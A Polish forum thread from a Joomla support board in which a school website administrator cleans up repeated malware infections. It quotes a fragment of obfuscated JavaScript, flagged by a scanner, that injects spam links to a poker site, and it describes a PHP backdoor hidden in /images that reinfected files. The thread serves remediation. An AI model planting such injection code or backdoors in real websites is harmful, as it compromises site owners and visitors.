Na stronie nie masz wirusa. Masz szkodliwy kod przekierowujący witrynę na adres, który przytoczyłeś w czerwonym tekście.
1. Zbadaj, czy nie pojawiły się nowe pliki lub zmienione pliki typu index.php (popatrz na ich daty, porównaj z datami instalacji.
2. Zbadaj bazę danych - zrób zrzut i przeszukaj, sprawdzając, czy nie ma gdzieś dopisanego skryptu js (poszukaj np. ciągu iframe)
4. Powtórz proces odtwarzania witryny, ale zrób to lokalnie, tak, żebyś nie musiał potem znów w razie co powtarzać. Zachowaj tę kopię.
5. Sprawdź, czy nie masz w kontach administracyjnych jakiegoś dodatkowego konta. Zmień dane logowania wszystkich kont administracyjnych. Zmień przedrostek nazw tabel w bazie danych (pamiętaj, by go zmienić też w pliku configuration.php).
6. Jeszcze raz pozmieniaj wszystkie dane dostępowe na serwerze.
7. Zrób za pomocą akeeba kopię i odtwórz witrynę na serwerze.
8. Obserwuj, ale spokojnie. Jeśli się znów pojawi sytuacja
a) sprawdź pliki na serwerze - .htaccess, index.php - porównaj wielkości z tymi sprzed ataku
b) porównaj bazy danych tę sprzed i tę po.

Sytuacja wydaje sie opanowana:
1. pliki php niezmienione - szkodliwy kod pojawił sie tylko w plikach js - raptem "tylko" 1200 plikow
2. baza była czysta
4.lokalne odtworzenie bardzo mi pomogło - przede wszystkim czasowo - dziekuję za pomysł - wiele sie nauczyłem
5. nie było kont obcych - przedrostki zostały zmienione
6. wszystkie hasła zmienione dwa razy na baaaardzo trudne
7. tak tez zrobilem - odtwarzajac kopie sprzed zarazenia - pomogł Xaamp
8. tu bez zmian - pliki php były nietknięte przez szkodliwy kod

Uwagi - przystepując do odtwarzania witryny nalezy zaczac od oczyszczenia komputera - kaspersky znalazł kilka smieci i miało byc czysto - dzieki podpowiedzi sprawdzilem obydwa niby oczyszczone komputery programem dr.web - niestety znalazł to co nie znalazł kaspersky - zatem tu chyba była przyczyna tego ze przy probie odtworzenia witryny z czystej kopii akeeba znow witryna byla po kilku godzinach zainfekowana - wirus siedzial w profilu przeglądarki ktorej uzywałem do obsługi witryny - firefox w plikach js wiec wydaje mi sie ze nawet przy zmianie hasel z zarażonej przeglądarki szkodliwy kod przenosił sie znowu.

2 dni czyszczenia na rozne sposoby i wydaje sie byc ok choc czas pokaze

Dziekuje wszystkim za pomoc - zwłaszcza zwiastunowi

[stelmach]

Szanowni koledzy - znów mam problem z ta witryną. Uczniowie korzystający z programu Avast poinformowali mnie że przy próbie wejścia wyskakuje im alert ze strona jest zainfekowana.
Mój domowy Kaspersky przy wpisaniu adresu nic nie znalazł.

Przeskanowałem komputer w pracy i w domu - są czyste od wirusów typu malware.

Podobna sytuacja jak poprzednio - administruje dwiema szkolnymi bardzo podobnymi stronami na joomla 2.5 (w tym praktycznie te same moduły - jedynie zarazona strona ma moduł facebook). Loguję sie w tym samym czasie tymi samymi programami. Jedna strona jest czysta a druga nie.

Podaje linki z raportami:
1. Strona czysta http://sitecheck.sucuri.net/results/www.mzs6gorlice.pl
2. Strona z nimi wirusem http://sitecheck.sucuri.net/results/www.zsplibusza.pl

Inna natomiast strona ze skanerami podaje że zarażona strona jest ok https://www.virustotal.com/pl/url/81e90e15e81a8cc35239647f32c41ba9d7b8ff66b1a16f3f54 eb1dc8f98b7d2d/analysis/

Ściągnąłem całą zawartość on-line przez ftp na dysk i zeskanowałem:
Wyniki skanowania:
1 - kasperky - nic
2- Malwarebytes Anti-Malware - nic
3 - adwcleaner - nic
4 - dr web - nic

Być może warto wspomnieć że na zarażonej witrynie kilka dni temu robiłem aktualizacje do najnowszej wersji joomli a na tej dobrej jest przedostatnia wersja.

Podany przez skaner on-line kod wirusa:

Known javascript malware.
Details: http://sucuri.net/malware/entry/MW:SPAM:SEO
if(t.length==2){z+=String.fromCharCode(parseInt(t) +25-l+a); t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}dnnViewState();</script><p class="dnn">Template by <a href="http://pokerfreaks.net/888-poker/" title="888 poker bonus code" target="_blank">888 Poker Bonus Code</a></p>

sugerowałby że chodzi o templatkę strony z tym że zainstalowane mam 3 templatki - 1 z zaplecza - oryginalną bluestork oraz dwie od frontu Gameon-fjt oraz Myhome-tg.

Pomóżcie mi gdzie szukac przyczyny albo jak sie tego pozbyć - zwiastun może tym razem znów cos wywęszysz? :P

[zwiastun]

Posprzątać raz jeszcze. Odtworzyć witrynę. Wyrzucić niepotrzebny szablon (po co Ci dwa?), sprawdzić dokładnie kod używanego szablonu. Po odtworzeniu witryny: zmienić serwer, zabezpieczyć witryny korzystajac z programów AkeebaTools lub RSFirewall

[stelmach]

ok - dzięki - a w jakich plikach siedzi ten kod? czyzby w głównym index.php?
http://sitecheck.sucuri.net/results/www.zsplibusza.pl

[zwiastun]

Przykro mi, oczekujesz ekspertyzy na odległość. Nie masz szans. Albo znajdziesz sam, albo zlecisz komuś, kto potrafi szukać i znaleźć.

[stelmach]

Sytuacja opanowana - złośliwy kod siedział w templatce Gameon-fjt - co ciekawe od momentu jej wgrania czyli minimum 2 lat nic przy niej nie było modyfikowane oprócz grafik w sliderze. Pomogło odinstalowanie tej templatki i wgranie innej. Dzięki zwiastun - znów można było na ciebie liczyć. Pozdrawiam

[GOGOKOM]

Możesz rozszerzyć co znaczy siedział, skoro nic nie zmieniałaś tzn. że jest niebezpieczna - czy może została zainfekowana po instalacji?
Poważna oskarżenie skoro ty nic nie zmieniałeś a "siedział" w niej.
A może błąd zabezpieczenia plików po twojej stronie (prawa do plików)

[zwiastun]

Nie chciałbym być złym prorokiem, ale radzę zwrócić uwagę na sztuczkę oznaczoną numerem 1:
http://wiki.joomla.pl/10_najgłupszych_sztuczek_administratora_Joomla!

[mikr23]

Mogłeś mieć złośliwy kod aktywowany z zewnątrz jakąś komendą. Miałem podobną sytuację z wgraną galerią - Za diabła nie mogłem dojść dlaczego co pewien czas część plików php ma dopisany "base64..." przenoszący na inna stronę. Już mi google groziło banem i dopiero po logach doszedłem co wywołuje ten kod. W całkiem banalnym pliku był dopisany kod który był aktywowany jak go ktoś wywołał z netu (z jego ip wychodziło że z Turcji) i kod ten dopisywał base64 do plików php.

[GOGOKOM]

i dopiero po logach doszedłem co wywołuje ten kod. W całkiem banalnym pliku był dopisany kod który był aktywowany jak go ktoś wywołał z netu (z jego ip wychodziło że z Turcji) i kod ten dopisywał base64 do plików php.
no to nam rozjaśniłeś:D
a może więcej szczegółów co? gdzie? jak?.....
Wybacz sarkazm ale taka pomoc to jak łysy grzywką .....
Jak mamy skorzystać z twojego nieszczęścia jak nie dajesz rozwiązania, rozumiem - sam wyśledziłeś drania i wiesz co zrobić a nas podpuszczasz może prześledzimy logi i dojdziemy - oby do tego co wywołuje ten kod a nie do ...

[mikr23]

Sorki za brak szczegółowego opisu, już to nadrabiam:
Jak już pisałem strona była co jakiś czas zgłaszana jako mająca złośliwy kod. Po znalezieniu tego kodu wyrzucałem go z wszystkich plików *.php ( czasami było ich naprawdę kilkadziesiąt :( - upierdliwa robota).
Najgorsze, że to co jakiś czas nawracało. Wstawiając zdjęcia na stronę widziałem w katalogu /images plik php, trochę mnie to zdziwiło ale skoro tam był to pewnie tak musiało być. Porównując dni kiedy pojawiał się złośliwy kod z logami zauważyłem że w tych dniach jest wywoływany ten plik php z katalogu /images - było to jedno zapytanie z jednego IP dokładnie o ten plik http://nazwastrony.pl/images/tenplik.php i w nim był skrypt infekujący pliki php.
Nie podam jak ten plik się nazywał bo to jakieś 3 lata temu było ale nauczkę mam i teraz staram się sprawdzać co instaluję.
Plik był w katalogu /images bo ten katalog jest dostępny z zewnątrz - chytre.
Tak dokładnie to nie wiem z czym to zainstalowałem - to były czasy gdy instalowałem wszystko co mi wpadło pod rękę :D